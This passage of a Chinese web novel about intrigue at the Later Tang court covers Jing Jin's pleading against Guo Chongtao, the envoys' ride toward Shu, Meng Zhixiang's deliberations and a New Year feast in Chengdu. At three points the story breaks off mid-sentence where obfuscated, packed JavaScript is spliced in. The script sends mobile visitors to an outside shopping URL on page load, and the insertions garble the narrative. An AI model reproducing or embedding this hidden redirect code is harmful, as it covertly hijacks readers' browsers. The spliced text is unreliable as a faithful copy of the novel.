几个从马直指挥使正往外退,听闻这话,神色都有些微妙,鄙夷有之,巴结也有之,羡慕嫉妒恨亦有之。 景进只是个伶官,没有尺寸之功,却因为才艺备受圣宠,官拜银青光禄大夫、检校左散骑常侍,还兼着御史大夫一职,比他们几个天子亲卫都还风光,这哪儿能让人心头平衡呢? 几个军官一面腹诽,一面很有眼力见地快步出了大殿。 殿内,李存勖一听景进来了就心情大好,“快让他进来!” 刘蕙心却是心头涌出一股厌恶。 这个景进,名为伶官,实则干的都是牙郎的勾当,私底下网罗貌美妓媵进献给皇帝,还爱搜罗坊间的各种阴私偷偷呈报给皇帝。 她丈夫既好色又猜忌心渐重。景进做的这些事儿完美投其所好,恩宠自是比旁人都厚得多。 * 不多时,景进抱着琵琶小跑进殿来。这人满脸悲戚之色,到了皇帝脚边就迎头一跪,凄凄惨惨地哭喊道:“大家救奴命啊!” 刘蕙心浑身一个激灵,差点鸡皮疙瘩都要起来了。 “大家”乃是家中长辈的意思,比如称呼家中的阿翁、阿婆都可用“大家”。 以“大家”称呼皇帝,其实就是把皇帝摆在了自己的家人位置上。这于臣子来说,是极其僭越之举,非与皇帝极其亲近之人不得用。 景进这一声“大家”出口,足以见得他与皇帝关系非同一般。 偏他还要自称“奴”。 当世臣子,从外朝文臣武将,到内朝宦官伶人,都必须自称“臣”。 只有当一个臣子发自内心地觉得自己就是皇帝陛下的“家奴”,而皇帝陛下恰好也认可了他的家奴地位,该臣子才能用“奴”自称。 若是该臣子年纪偏大,还能自豪地称一句“老奴”。 可毕竟外朝文武大臣还是讲究颜面的,尤其是文臣多少带点清高,非没脸没皮之人通常都没那个决心自称“奴”。 君不见,唐宪宗长庆年间,户部侍郎张平叔因为得宠于宪宗皇帝而戏称自己是“老奴”,被史官讥讽“无复大臣之体”吗? 不过,皇帝身边的宦官就没这种“臣体”顾忌了,他们很乐意、也很荣幸争取到这样的称“奴”资格。 而如今,景进作为一个伶官,也如宦官那般,深以做皇帝陛下的家奴为荣,一声“奴”喊得发自肺腑,恰到好处地取悦了他的帝王。 “怎么了这是?”李存勖惊愕莫名,虚扶了景进一把,“快起来说话!” 13. 第13章 怨恨幽生 景进却仍旧跪着不起身,抱着琵琶一个劲儿地直流泪:“奴不敢起来!大家今日若不救奴,奴只怕这是最后一次和大家见面了!” 刘蕙心看得直皱眉,出声斥道:“你这到底是怎么了?好好说话!哭哭啼啼的成何体统?” 景进抽泣着道:“求殿下与大家勿怪,奴今日前来觐见大家,本是想把新谱的《贺新岁》弹给大家听,好叫大家指点一二。” “谁知在来的途中,奴碰见了俩近卫。那俩近卫走得急,叫奴不要挡道。奴来了火气,就跟他们拌了几句嘴。” “哪曾想,其中一个近卫竟指着奴的鼻子大骂,说等他杀了马彦圭,回头就劝陛下杀了我们这些伶官!” 刘蕙心勃然变色,厉声斥道:“简直一派胡言!”景进说的这俩近卫分明就是王全斌和李彦卿。可这二人怎可能如此口无遮拦?景进这厮分明在撒谎! 李存勖却是神色莫辨,也不知到底有没有信这个亲信伶官的话。 “奴说的都是实话!”景进哭诉道,“事已至此,奴也不怕再说一句大实话。当初,马彦圭劝皇后下令杀郭崇韬,奴其实也跟着一起劝了!” 李存勖神色微变,愈发显得高深莫测。 刘蕙心却是又惊又怒,她就说景进在这儿哭个什么劲儿呢,原来这厮是冲着郭崇韬来的! 景进抽噎着继续道:“奴知郭崇韬飞扬跋扈,在蜀中作威作福,丝毫不把魏王放在眼里。” “若是纵容郭崇韬回京,只怕他仗着大功在身,将天子也不放在眼里!” “似这等凶恶之臣,就该死在巴蜀,以绝后患!” “可偏生大家慈悲心肠,几番对郭崇韬手下留情。奴深知大家狠不下心,这才跟马彦圭一起力劝皇后下杀令。” “可没曾想,大家又慈悲心发作,竟是要截杀马彦圭、力保郭崇韬!” “大家,这等诛杀恶臣之事怎能如此反复啊?奴只怕大家当断不断,反受其乱啊!” “倘若郭崇韬这次不死,必定会占据蜀中不肯回京。” “到那时,奴只怕郭崇韬不仅会逼着大家杀奴谢罪,还会逼着大家允许他称王称霸啊!” 景进说到此处,伏到皇帝脚边,失声痛哭。 李存勖脸色沉肃,一言不发,就像庙里端坐的神佛,天威不可测。 刘蕙心则是心头骇然,前世,马彦圭和景进等人劝她杀郭崇韬,用的不正是这一套说辞吗? 如今,她好不容易才说动丈夫暂且留郭崇韬一命,结果景进这些人又故技重施,竟想坏她大计! 她丈夫自从当了皇帝之后,耳根子就愈发选择性地软了——文武大臣说话,通常是听不进去的;溜须拍马的伶官、宦官说话,那基本上一说就一个动容。 别看景进现在的说辞满是漏洞,可却句句说在她丈夫心坎上,指不定就真把她丈夫说得回心转意了! “给我闭嘴!”刘蕙心怒不可遏,这一刻真是连杀景进的心都有了,“官家英明神断,岂容你一个伶人糊弄?” “今日,官家前脚才下令截杀马彦圭,你后脚就来官家面前以死相逼,敢说没人给你通风报信?” “我看你们这群人是久承天恩就分不清自己几斤几两,竟是想结党蒙蔽圣听吗?!” “结党”这罪名可太大了! 景进惶骇失色,哭着磕头道:“奴冤枉啊!奴一心只为大家着想,绝无半分其他心思……” “我看你心思大得很!”刘蕙心两指一并,直指景进,凛然怒斥,“敢跟人串通起来监视圣人,还妄图决定一国元老生死,我看你才是该死之人!” 景进没料到皇后竟会说出这等诛杀之词,惊得哭声都停了几息,回过神来后便哭得更厉害了,不住磕头求饶:“奴冤枉啊!求殿下息怒!大家救奴命啊……” 刘蕙心生怕丈夫被说动了心,抢过话头厉声道:“来人啊,把景进拖出去杖责二十!” 景进惊惧交加,不停地磕头,流泪求饶:“殿下饶命啊,奴冤枉啊……” 见皇后毫不改容,景进忙爬到皇帝面前,两手扒着壶门榻边缘,凄惨痛哭,“大家救奴命啊,奴冤枉啊……” 刘蕙心气得不行,若不是顾及皇后之尊,她真想一脚给这伶人踹过去! 眼瞧着行刑的宦官已经领命入殿,李存勖终于一脸头痛地出了声:“够了!” 景进哭声一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426924|200879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿,想哭又不敢再放声哭,只肩膀一颤一颤地继续小声抽泣,小心翼翼地去瞅皇帝究竟是何反应。 李存勖头疼地朝殿门口摆了摆手,那两个赶来行刑的宦官便很有眼色地退了出去。 刘蕙心惊疑不定,担心丈夫这是被说变了心思,忙出声道:“三郎,这厮满口谎言……” “我知道。”李存勖颔首,一脸无奈地打断皇后的话。 刘蕙心话头一堵,愈发看不懂丈夫是个什么意思了。 景进也是一样,抽噎着试探开口:“大家……” 李存勖瞥向景进,一下子虎起了脸,厉声质问:“谁给你报的信!” 景进吓得肩膀一缩,抽抽搭搭地说:“没、没有谁,奴是从那俩近卫口中得知的消息……” 李存勖抬起手指戳了戳景进的脑袋,恨铁不成钢地骂道:“你个猪脑子!让人忽悠来当了马前卒,还在这儿给人打掩护!” 景进缩着肩,瘪着嘴,又怂又懵地小声哭道:“大家……” 李存勖一个头两个大,糟心地道:“赶紧给我滚!” 景进目的没达成,哪儿能甘心,啜泣着继续游说:“大家,你若是真截杀马彦圭,奴与教坊司一众兄弟姐妹可就全没命啦……” 李存勖头都痛了,没好气地斥道:“有朕在一天,就没人敢取你的狗命!但你要是再敢胡言一句,朕现在就要了你的狗命!” 景进一噎,瘪着个嘴不敢再说话了。 李存勖多看景进一眼都觉得糟心,摆手斥道:“还不快滚!” 景进见劝不住,狼狈地吸了下鼻子,捡起琵琶,又怂又窝囊地抽泣道:“奴告退。” 话完,他抱着琵琶可怜兮兮地出了殿。明明是他自己犯蠢,可奈何这一身伶人身段别具风流,那背影硬是走出一副又可怜又委屈的无辜样儿。 刘蕙心糟心透了,“你瞧瞧这人,他自个儿一通胡来倒还先委屈上了?” 李存勖也是好气又好笑,“景进就一个夯货,你何必跟他一般见识?” 刘蕙心却是笑不出来,她以前还没意识到有什么问题,可今天李从谦和景进的事撞一块儿了,她一下子意识到了某种不妙…… 14. 第14章 潼关之遇 “三郎,”刘蕙心坐到丈夫身旁,挽着丈夫胳膊道,“你也说景进脑子不好使,可你却让景进当御史大夫,言路都让他把持了;那李从谦也不见得军功就比别人硬,可你却让他当从马直指挥使。这些伶官,本事不见得有多大,文武官职却让他们都占了,你就不怕他们坏事儿吗?” 李存勖皮里阳秋地笑了笑,“他们都没什么本事,又怎么坏得了事儿?” 刘蕙心愕然,原来这就是她丈夫明知这些人没本事,却仍敢重用这些人的原因吗? 李存勖把皇后揽入怀里,“放心,我心里有数,这些伶官翻不起风浪的。” 真翻不起风浪吗? 你可知前世发动叛乱的那个禁军指挥使就是你任命的伶官李从谦? 刘蕙心五味杂陈。 她越细想,就越是发现局面一团乱。 她起先觉得,只要劝住她丈夫不要任人唯亲就好了。 可现在却发现,这是她丈夫有意为之,又哪是随便劝一劝就能解决的? 譬如方才那事,她丈夫明知道有人给景进通风报信,却只轻轻揭过,根本没深究到底。 旁人只当她丈夫是昏聩、烂好人,殊不知这根本就是她丈夫有意纵容。 所以说什么“昏君”? 这分明是她丈夫自负过了头。 别人是大智若愚,她丈夫是大智变愚,聪明反被聪明误,头脑发昏不自知! 哎! 眼下这局面,她到底该怎么去打破? * 另一厢。 景进哭着跑回了府邸。 他如今圣宠正盛,皇帝特许他在皇宫西面的夹城安家。 夹城乃是紧邻皇宫的外围特殊城郭,原本是用作皇帝的紧急逃生通道,兼具军事防御功能。 可当今天子宠幸伶人,为了方便时不时跟伶人玩乐嬉戏,竟直接让景进这个伶官在此等禁中要地安了家。 景进每日进出皇宫方便得很,如今回家痛哭也方便得很。 毕竟他可不想哭着个脸回教坊司,徒惹那群同僚笑话他。 到了傍晚,向延嗣偷摸来看他。 “我当陛下是怎么转了心意呢,”景进尖酸刻薄地道,“原来是皇后怂恿的他!” 向延嗣吃了一惊,“这怎么会?”皇后可是巴不得郭崇韬死,先前还在皇帝面前各种软磨硬泡,哭求着皇帝下杀令。 “真是这样的!”景进怨愤地道,“皇后现在已经跟我们不是一条心了。我看她今天还想杀我呢!” 向延嗣心里直皱眉,陛下真是太宠幸这群伶官了,惯得这群人尊卑不分。向来只听说臣子要跟帝后一条心,可从没听说反过来要求帝后要跟臣子一条心的。 “我说的全都是真的!”景进看向延嗣似有怀疑,气急败坏地解释道,“皇后污蔑我结党监视陛下,想把你都牵扯进去呢!陛下受皇后挑拨,当面质问我,是谁给我透露的口风……” 向延嗣一惊,“那你怎么说?” “我当然是没说啊!”景进挺起胸膛,颇有几分骄傲地道,“我仗义着呢,能把你供出来吗?” 向延嗣微微松了口气。 跟个蠢人结盟的好处是——只需稍一挑唆,蠢盟友就自个儿冲锋陷阵去了。 但坏处是——蠢盟友不知会如何犯蠢,指不定反把他拖下水。 向延嗣现在都有点后悔跟景进共事了,忧心忡忡地问道:“那你现在打算怎么办?” “陛下那儿是劝不动了。”景进皱眉道,“只求皇后别再出什么幺蛾子了。” 向延嗣眼皮直跳,“你这话什么意思?” 景进横他一眼,像看白痴似的看着他,“你还不明白吗?皇后现在不知道怎么被郭崇韬收买了,指不定何时拿我们开刀呢。你得盯紧了她!” 向延嗣倒吸一口凉气,“你可别打皇后的主意!你想杀那些朝臣,陛下还能饶了你。可你要是敢动皇后,到时候整个教坊司说不准都要跟你一起赔命!” 景进听着不舒坦,悻悻道:“我心里有数呢!” 你最好是有数,可别到时候把我给连累了! 向延嗣心里这般想着,嘴上却没说出来。 他忧愁得很,只求先把眼下难关渡过去再说,“现在就只求那俩近卫动作慢一点,救不下郭崇韬。” “救下了才好呢。”景进冷笑道。 向延嗣不解。 景进幸灾乐祸地道:“我刚刚算是想通了,郭崇韬如若真被救下了,他这次能不反吗?皇后可是亲自下了诛杀教令的,郭崇韬有胆儿回京吗?到时他在蜀中反了,陛下不就知道我们才是对的了?” 向延嗣恍然大悟,笑道:“还是八哥看得明白啊!”这蠢人果然还是有脑子好使的时候。只要郭崇韬此番反了,那他们还怕什么?陛下肯定会族诛郭崇韬! 景进得意地接受了夸赞,阴狠笑道:“别说救郭崇韬了,我看那俩近卫横竖都是个死!”救不下郭崇韬,这俩近卫失职丧命;救下了郭崇韬,郭崇韬一反,照样拿这俩汉子开刀。 另一厢。 半晚,风雪交加。 石壕驿站被紧急扣开。 差役窝着一肚子的火来开门,却在见到使者手中的诏令后一下子熄了火。 “某这就去给两位生火造饭。”差役巴结地道。 “不用!”那位像黑牛犊的使者大手一挥,粗着嗓门儿道,“你随便拿点饼子和水给我们就行,我们忙着赶路呢!还有,给我们换两匹快马!” 这两位使者正是王全斌和李彦卿。 石壕距离洛阳将近二百里。 两人从上午接到任务后就马不停蹄地赶路,一口气奔至石壕,马乏了,人也困了。 王全斌瞥了眼身旁的同僚,大咧咧地嘿嘿一笑:“四哥,累了吧?你要是撑不住可以先歇会儿,待会儿我换了马可要直接走了。” 李彦卿家中行四,故而王全斌尊称他一句“四哥”。他真是服了这个话多又自来熟的同伴,面无表情地说:“我不累。” “我刚都看到你打哈欠了。”王全斌笑得可嘚瑟了,一拍自己胸膛吹嘘道,“我到现在可是一个哈欠都没打过。” 李彦卿额角青筋突突跳,颇为忍耐地道:“你少说几句话省点力气吧。” 王全斌偏不,他拿胳膊轻轻撞了同僚一下,满怀期待地笑道:“四哥,等咱们这次任务结束了,你跟我比试一场怎么样?” 李彦卿忍耐地闭了下眼睛,“以后的事,以后再说!”这人怎么就跟个话多的牛皮糖一样,黏上他就甩不掉,一路上叨叨个不停。 “那我可就当四哥你应下啦!”王全斌哥俩好地一把揽住同伴。 李彦卿都想翻白眼了,反手就打了下搭在自己肩膀上的那只“黑牛蹄”。 王全斌也不恼,嘿嘿笑着把手收了回去。他这可是跟名将之子搭过肩了呢,要是之后他打赢了李彦卿,那他可就是赢过名将之子的人,他还不名震禁军?哈哈哈哈…… 李彦卿一扭头就看到同伴满脸奇奇怪怪的笑容,真搞不懂这人在傻乐个什么?他们这次任务这么重,稍不注意就会人头落地,这人怎么还能这么没心没肺地傻开心啊? 不多时,差役备了吃食上来。 李彦卿两人赶时间,各自匆匆吃了一个大胡饼,又灌了半碗热汤,便算是吃好了。 接着,俩人把桌上多余的胡饼往包袱里一塞,然后又各装了一水囊的水,出门便上马走了。 差役站在门口,看着这俩人走远的背影,禁不住直咋舌,“这么冷的天儿,他们不歇一下就走了?都不怕冻吗?” 坐在角落里的值夜老吏却是摇了摇头,喃喃自叹:“怕是要变天咯。”加上今晚这一拨使者,他们这驿站最近三天已经前前后后来过三拨人了,每一拨人都带着诏令疾行,只怕又是有什么大事要发生了! 夜色里,李彦卿两人顶风冒雪地赶路。 “四哥,你说是不是天都在助我们?”天太冷,王全斌说话间都喷出热雾,“今晚的月亮好亮啊,四下亮得跟白天似的,都不用打火把了。” 李彦卿板着张脸,眼睛盯着前方的路,看也不看同僚一下,“那是因为周围雪多,你别老盯着雪看,小心明天就眼瞎了。” 王全斌嘿嘿笑说:“放心,我还要留着眼睛跟你切磋武艺呢!” 李彦卿真是受不了这个聒噪的同伴,忍无可忍地道:“你要是再废话,咱俩就别切磋了!” 王全斌嘴巴一抿,这才心不甘情不愿地把嘴巴给合上了。 两人一路走北崤函道,到天快亮的时候,王全斌眼睛也亮了起来,“到了,到了,前面就是潼关驿站了!” 他俩在出发前就算过路程,洛阳距离成都约二千多里,要想赶上马彦圭,一天至少得走三百多里路。 不过等真上了路,两人都是拼命的架势,且存了一股不能落后于人的劲儿,竟是从昨天中午到今日晨晓,连续一天一夜赶了五百多里路,到现在真是人困马乏,不找个驿站歇息一下都不行了。 李彦卿精神紧绷,到了潼关驿站前就停马说:“我们先睡两个时辰,然后继续赶路。”要是歇息久了,时间不够用,只能姑且歇息这么久了。 “好!”王全斌翻身下马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426925|200879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但一想又不对,“四哥,你怎么确定我们刚好就睡两个时辰啊?万一睡过头了呢?” “不会。”李彦卿道,“我这个人觉点很准,说睡两个时辰就两个时辰。” “这么神奇?”王全斌颇感不可思议,“四哥,我一睡着了就雷打不动,你到时候可得叫醒我啊!” “嗯。”李彦卿肃容颔首。赶了一天一夜的路,他现在又困又乏,说话都有气无力的,也不知这王家小子怎么就精神这么好,到现在都还生龙活虎的。 两人进了驿站,出示了使者身份,差役赶忙给他们备水、备马、备吃的。 “两位天使(天家使者),驿站现在只有一间客房可用。”差役赔笑说。 李彦卿还没说话,王全斌就大大咧咧地抢着说:“没事儿,我俩挤一屋就行,你赶紧把碳那些都烧上。” 李彦卿瞥了眼同伴一眼,一脸无奈,行吧,还能怎么办呢? 他俩到得太早,驿站都还没生火做饭。 两人赶时间,也没那功夫等热饭,直接要了几个冷胡饼将就着吃了,然后就进屋睡觉。 约莫两个时辰后,李彦卿准点醒来,一脸怨气地瞥向身旁的同伴。 “呼……呼噜……” 王全斌睡得跟头死牛一样,呼噜声大得能掀翻屋顶。 李彦卿就因为这呼噜声没睡好,怨念之下,一巴掌扇了过去。 王全斌陡然惊醒,撑着床坐起来,睡眼惺忪地左望右望,“怎么了?怎么了!” 李彦卿瞥了眼同伴脸上那不明显的五指印,心情总算畅快了点,要笑不笑地说:“该赶路了。” “哦!”王全斌赶紧爬了起来,穿好鞋子后,他摸了摸脸,后知后觉地意识到了不对劲,“不是,你扇我脸了是不是?你打我干什么呀?” 李彦卿面不改色地胡说八道:“你睡得就跟头死猪一样,我喊你喊不醒,推也不推不醒,只能扇你一巴掌试试了。” 王全斌恍恍惚惚地点点头,原来是这样吗? 两人起床后,天已大亮,终于赶上吃了一回热饭。 用完饭,俩人片刻不敢耽搁,骑上马就又走了。 驿站里,一个中年男子威严地从客房里踱出来,瞥了眼屋外奔远的人影,问道:“那俩是什么人?” 差役巴结地道:“回孟帅的话,那两位郎君乃是洛京来的天使。” 这位被称作“孟帅”的男子乃是孟知祥,五十出头的年纪,状貌魁梧,威仪堂堂,此时已授命为西川节度副大使,因而差役以“节帅”相称。 “那俩小子今天天快亮的时候才到的驿站,”一个戎装汉子走到孟知祥身旁,警惕着看向李彦卿俩人走远的方向,“待了两个时辰左右就又赶路了。” 说话的戎装汉子名为张公铎,高大倜傥,四十出头的年纪,乃是孟知祥的亲从。 差役见他们说话,很识趣地麻溜走开了。 孟知祥神色深沉,转身回了客房,张公铎紧跟上他。不多时,两个儒士幕僚也都出现在客房里。 而在孟知祥身后,还站着一位面色谦和的如夫人。 “看他们的行头应该是京师禁军。”张公铎道,“年纪小的那个话很密,我听他那口气,他们应该是赶了一天的路。” “潼关距离洛京五百六十多里,”其中一个着装朴素的幕僚道,“一天就疾行五百多里,如此不恤人力、马力,他们这是有什么紧急要务?” 此人乃是毋昭裔,家境贫寒,在孟知祥麾下任掌书记一职。 孟知祥神色愈发严肃,看向另一个未开口的幕僚道:“亚贤,你怎么看?” 被问话的幕僚名为王处回,字亚贤,乃是孟知祥的心腹,如今在其麾下任中门副使。 王处回并不急于答话,而是看向张公铎,“张公可知他们此行去往何处?” “不知。”张公铎道,“那个使者话密却嘴严,也没透露要去哪儿。但我看他们赶路的方向,应该是要去——蜀中。” 此言一出,屋里众人皆是沉肃莫名。 孟知祥此行乃是要赶往蜀中赴任,此前他其实还带有一个机密要务在身——去蜀中观察郭崇韬是否有反志。 然而,两天前,中使马彦圭追上他们,出示密诏,言说陛下已决定处死郭崇韬,不需再多花时间观察。 孟知祥得知此行已救不下郭崇韬,不免心灰意懒,赶路速度也慢了下来。 马彦圭则是马不停蹄地继续赶往蜀中,只求速速执行杀令。 可如今,朝廷竟是又派出使者急赴蜀中。 “诸位觉得,陛下这是何意?”孟知祥沉声问。 15. 第15章 福相之说 孟知祥身后的如夫人面色微动,但却没有说话。 毋昭裔想了想,斟酌道:“陛下已下杀令,此时又派使者疾行,只怕……是陛下反悔了,想要救下郭令公。” “呵!”一声冷笑声响起。 毋昭裔看向发声者:“王公笑什么?” 王处回似笑非笑道:“我笑毋公糊涂,陛下既已下杀令,又怎可能回心转意?如今这拨使者,应该是赶去补刀的。” “这怎么可能?”毋昭裔一板一眼地道,“杀令既已下,又何须再急派人补刀?况且,洛京与蜀中来回四千多里,路上颇费时间,陛下又怎会从洛京派人去补刀?” 毋昭裔转头看向孟知祥,“依我看,明公不妨加速赶路,助那俩使者救下郭令公。” “呵……”王处回又是一声冷笑,“明公此行带着人马辎重,又怎可能像使者那样疾行赶路?便是再怎么赶路,也会比他们慢上个十天八天的。” 一直保持沉默的如夫人看了王处回一眼,若有所思。 “那也未必,”张公铎道,“某可护送明公先行,赶上那俩使者不成问题。” “张公此言差矣!”王处回道,“那俩使者都未向明公见礼,明公又怎能自降身份跟上去?” 张公铎难以苟同,“救人如救火,哪儿能讲究这些虚礼?况且,那俩使者也不知明公同在驿站中,又如何来见礼?” 眼瞧着幕僚们都要吵起来了,站在孟知祥身后的如夫人悄悄用手指戳了下他的后背。 孟知祥会意,开口制止道:“够了!你们都退下吧,此事容我再想想。” 毋昭裔和张公铎都有些愤愤不平,王处回却是老神在在的。 几人都作揖道:“某等告退。” 等这三人出了屋,孟知祥转头看向身后的如夫人,“卿方才点我,可是有话要说?” 这位如夫人名为李素桃,乃是孟知祥的爱妾。 她的容貌只勉强算得上清秀,甚至可谓失之于寡淡,但却因蕴带书卷温雅之气,反而别添一番风情。 整个人如留白泼墨画,越看越耐看,越品越有味。 这些年,孟知祥不管去哪儿赴任或是征伐,都一直把李素桃带在身边。 她也因此增长了不少见识。 “郎君觉得,是毋昭裔说得对,还是王处回说得对呢?”李素桃翩然走到孟知祥身旁坐下。 孟知祥面色凝重,“陛下此番应当是派人去救郭安时的。” (郭崇韬,字安时) 李素桃轻笑,“那为何王处回连这点道理都看不明白呢?” 孟知祥微怔,苦笑道:“王亚贤哪儿是看不明白?他是不想我去救郭安时。” 李素桃看他这神色,问道:“那郎君是打算救人了?” 孟知祥颔首:“陛下既已决定救下郭安时,我又岂有不救之理?” 李素桃追问:“郎君这是要如张公铎所言,轻装先行?” “不错。”孟知祥语气沉重,“那俩使者看着年轻,只怕到时候压不住马彦圭那个老滑头。我得赶去助他们一把。” 李素桃柔声道:“妾以为,此法殊为不妥。” “此话怎讲?”孟知祥心里微悸。 李素桃款款道:“陛下此前密令郎君杀郭崇韬,经郎君一劝,陛下便暂且不杀了,转而命郎君观察后再做决定。可就隔了几天,陛下又派出马彦圭,言说非杀郭崇韬不可。” “到今日,陛下又派使者,一副要救郭崇韬之势。咱们这位陛下如此反复不定,试问郎君又如何确定,陛下这次是真下定决心不杀郭崇韬了?” 孟知祥默然不语,脸色愈发凝重。 李素桃温声细语地劝道:“妾知郎君宽厚仁善,只要看到一线生机,便想要救郭崇韬出水火。可此番局势未明,若是郎君贸然疾行,只怕救人不成,反受其殃。依妾看,郎君不妨就以寻常速度赶路,且观蜀中局势如何。” 孟知祥仍旧默不出声,让人不知他心中所想。 李素桃见状,温声道:“郎君只一心想救郭崇韬,却不曾想过郭崇韬若是获救会怎么做吗?” 孟知祥悚然变色,“你是说……”那种可怕的猜想还没出口,他就惨然摇头道,“不会的,郭安时不会那么做的。” 李素桃颇有些揶揄地道:“就算郭崇韬不会,他手底下的那些兵也不会吗?” 孟知祥哑然失语,半晌后站起身来,来回踱步,摇头苦叹:“陛下怎能糊涂至此啊?”既是要杀大臣,又怎能如此反复?更何况,这个大臣还在前线统兵,就不怕激出事变来吗? 李素桃见家主已有动摇之意,沉着劝慰道:“此番不论郭崇韬死或不死,巴蜀行营只怕都会生出一场动荡。郎君若是去得早了,只怕反惹一身骚。可若是缓行赶路,郎君到时以节度副大使的身份入主西川,从容接手善后事宜,既不至于稀里糊涂地被迫裹入乱局,又能得到巴蜀内外一众军民的感激,岂不两全美哉?” “哎……”孟知祥长长叹了口气,颓然坐回榻上,“也只能如此了。” 李素桃见他颓丧疲倦,提议道:“郎君不如再睡会儿?” 反正如今也不忙着赶路,孟知祥百感交集,便躺回了卧榻上。 李素桃也跟着上了榻,她跪坐到榻首,让丈夫枕在了她的腿上。 孟知祥闭上眼,抬手轻握住李素桃手腕,低叹道:“卿乃我福星,明我前路。” 李素桃莞尔一笑,“君乃我天地,护妾安身。” 孟知祥不觉轻笑,“你啊,尽会哄我开心。” 李素桃笑而不语,眼底一片清明。 说什么“福星”? 她自己最清楚这“福星”之辞从何而来。 孟家的当家主母乃为当今圣上的同母长姐——琼华公主,李舜华。 当年,武皇(李克用)看孟知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426926|200879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祥一表人才,便将长女李舜华许配给了他。 李素桃作为陪嫁婢女,也一并嫁入了孟府。 婚后,李舜华与孟知祥相敬如宾,日子也算和美。 不久,李舜华先后诞下两子。 此乃孟知祥的长子与次子,又居嫡位,自是备受宠爱。 只可惜,两子皆早夭。 李舜华因此郁结于心,身子也不见得好了,找诸多大夫调养后,也无甚起色。 于是,李舜华把目光挪到了陪嫁婢女——李素桃——身上。 李素桃记得,当日,主母李舜华把她唤到孟知祥面前,指着她说:“这个婢女有福相,他日必生贵子。” 何为“福相”? 何来“贵子”? 不过是主母难以再怀上子嗣,要借她肚子一用而已。 孟知祥也是心知肚明,顺水推舟宠幸了她。 幸而她肚子争气,受宠不久后就有了孕,而且一产得子。 彼时,孟知祥已虚龄四十六,老来得子,甚是欢喜,给儿子取名为“仁赞”,将其留在正妻李舜华膝下抚养。 李素桃也因子而贵,坐实了“有福相”、“生贵子”之名,自此一直跟在孟知祥身边伺候。 这份待遇,说是殊荣,其实又何尝不是一种变相的轻贱? 正妻居于家中,不轻易抛头露面,反而是妾室才会让家主带在身边,四处奔波露脸。 不过,孟知祥发家于河东,深受突厥沙陀影响,倒也没觉得只有妾室才会跟着家主出征。 毕竟,武皇当年可是长期把正妻刘太妃带在身边。 每逢战事,刘太妃都参与其中——不只是与诸将一同商议方略,还会亲自上马迎敌。 李素桃很是钦佩这位刘太妃。 只可惜,她没有刘太妃那般雄才大略,只有一颗还算清醒的头脑。 也正是足够清醒,所以李素桃从不会因家主一句“福星”而高估自己的地位,也不会因自己诞下子嗣而轻忽主母之尊贵。 她就只是她,无关宠爱,无关情爱,只一心努力在乱世之中寻一处安身之所,仅此而已。 * 后世史载: 后蜀主孟知祥之夫人李氏,原为正室琼华公主之媵。公主荐之于知祥,赞曰:“此婢福相,必生贵子。”知祥遂幸之,未几,果生后主孟仁赞。 论曰: 史官书“福相”之说,盖欲彰后主孟仁赞天命之贵也。然其事岂不悖乎?琼华公主既为正室,当固母子之位,何故举荐婢媵于蜀主,且预指其能诞“贵子”耶? 考其行事,盖公主难有所出,乃择陪嫁之姬荐于蜀主,以固根本。史官假此夸饰后主“天生贵子”,岂非实彰公主之智哉? 丹书虽无意夸耀巾帼之智光,然光彩终流泄于字间。譬若云隙漏月,虽本无意显月华,然清辉自见。盖事理本然,纵斧藻矫饰,终有昭彰之日。 16. 第16章 蜀中夜宴 【成都】 同光三年冬(925年),闰十二月廿九。 除夕悄至,夜色茫茫。 整个成都城都沉浸在过年的喜悦里。 位于都城中央的蜀王宫更是如此。 千盏灯烛亮起,将一方夜色照得宛如白昼。 朱墙上的残雪也因之莹莹生光,一眼望去,宛如圣洁仙境。 穿过宫门,绕过曲廊,只见一座奢靡宫苑娉婷立池边。 苑中犹见延昌殿,烛火煌煌,丝竹喧阗。 昔日蜀主宫苑,今承唐王夜宴! 灯火愈盛,愈显江山易主! * 延昌殿内,年轻的唐国亲王居于首榻之上,难得表现出了几分闲适,但整体上还是偏于紧绷。 他便是魏王李继岌,正值十七八岁的年纪,面部轮廓以及整体五官都和他的父亲李存勖极为相似。 一双眉眼则像极了母亲刘蕙心。 一刚一柔交汇在一处,让他虽像父亲,却又没父亲那般威武刚毅,而是更偏于俊美儒雅。 再加之他自幼体弱,虽继承了父亲的高大身形,却远没有父亲那般魁梧刚猛,反增添了几分文弱破碎之感。 此时,看着满殿欢庆除夕的大唐文武官员,李继岌颇有些百感交集。 这还是他第一次独自在异乡过年。 他真的好想爷娘。 蜀地纵使再好,也终归是他乡异地。 他想回到洛阳,回到家里,和爷娘一起过年。 李继岌想到这里,鼻头就不禁有点酸酸的。 